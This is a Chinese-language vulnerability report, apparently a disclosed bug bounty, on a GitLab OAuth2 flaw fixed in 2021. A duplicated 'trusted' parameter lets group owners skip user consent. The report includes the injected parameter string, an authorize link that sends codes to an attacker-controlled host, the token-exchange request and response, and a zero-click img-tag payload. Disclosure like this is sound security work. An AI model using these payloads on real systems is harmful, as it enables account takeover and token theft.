GitLab OAuth2漏洞:未经授权获取用户访问令牌
摘要
GitLab群组级别的应用设置存在安全缺陷,允许群组所有者默认创建受用户信任的应用,从而绕过OAuth2授权流程中的CSRF防护机制,攻击者可利用此漏洞获取目标用户的API访问令牌。
漏洞复现步骤
- 以用户1身份登录,创建名为“恶意群组”的群组。
- 在“设置”>“应用”中创建应用,勾选api范围。
- 打开创建的应用并点击“编辑”,在点击“保存应用”时拦截请求,追加以下参数:
doorkeeper_application%5Btrusted%5D=0&doorkeeper_application%5Btrusted%5D=1&
这将默认创建受信任的应用,此功能原本仅限实例管理员使用。
- 向用户发送以下链接,或将其嵌入img标签:
https://gitlab.com/login/oauth/authorize?redirect_uri=http://<攻击者控制>.com&client_id=9ff83fc426f95b5b5dec389ac02adf4ef800e4a0fb04faed6ffc8305f5fccf29&scope=api
- 可观察到携带Code的请求。
- 使用以下端点获取访问令牌:
1
2
3
4
5
6
7
8
9
10
11
12
|
POST /login/oauth/access_token HTTP/1.1
Host: gdk.test:3000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: [Cookie数据省略]
Upgrade-Insecure-Requests: 1
Content-Length: 223
code=6c53ef532f34762b8705029d4fd005d2c32d788d3e3a78151c1b5f6a2743dffc&client_id=04a5da53b6faaba4758fcb0e7bd80845795c9c838363568c9b4efcc0bcec1934&client_secret=9de25469a82dee694ae4e33e02a3e97156bec87ba905fc4e3e34b9de805f9dc4
|
响应:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
HTTP/1.1 200 OK
Cache-Control: max-age=0, private, must-revalidate, no-store
Content-Type: text/plain; charset=utf-8
Etag: W/"a219f8ac2bd29580e1f17894de3956da"
Pragma: no-cache
Referrer-Policy: strict-origin-when-cross-origin
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Frame-Options: DENY
X-Gitlab-Feature-Category: integrations
X-Permitted-Cross-Domain-Policies: none
X-Request-Id: 01F2E6M6TER14PB17H6XCDC0B3
X-Runtime: 0.257708
X-Ua-Compatible: IE=edge
X-Xss-Protection: 1; mode=block
Date: Sun, 04 Apr 2021 10:25:03 GMT
Content-Length: 105
Connection: close
access_token=bc3450dfcc2fb46eece85d1f74d96070f94cd35e656b184706027227243d5338&scope=api&token_type=Bearer
|
影响
攻击者可获取目标用户api范围的访问权限,后续可能尝试启用更多范围。此漏洞允许未经用户同意获取其代码并生成访问令牌,从而以用户身份执行操作。
当前错误行为
能够未经用户同意获取其代码并生成访问令牌。
预期正确行为
群组所有者不应能在创建应用时默认启用“受信任”选项。
漏洞利用改进
攻击可通过GET请求触发,意味着可将负载嵌入开发者常用的更流行网站中,无需用户点击:
1
2
3
|
<html>
<img src="https://gitlab.com/login/oauth/authorize?redirect_uri=http://localhost:4444/&client_id=9ff83fc426f95b5b5dec389ac02adf4ef800e4a0fb04faed6ffc8305f5fccf29&scope=api">
</html>
|
修复与验证
GitLab安全团队于2021年4月7日推送修复,经验证攻击已无法成功执行。漏洞被标记为“高”严重性,CVSS评分7-8.9,涉及“不当身份验证-通用”弱点。
时间线
- 2021年4月4日:漏洞报告提交
- 2021年4月7日:修复推送并验证
- 2021年4月20日:报告关闭,奖励发放
- 2025年7月23日:报告公开
此漏洞凸显了OAuth2实现中权限控制和输入验证的重要性,提醒开发者在设计类似功能时需严格遵循安全最佳实践。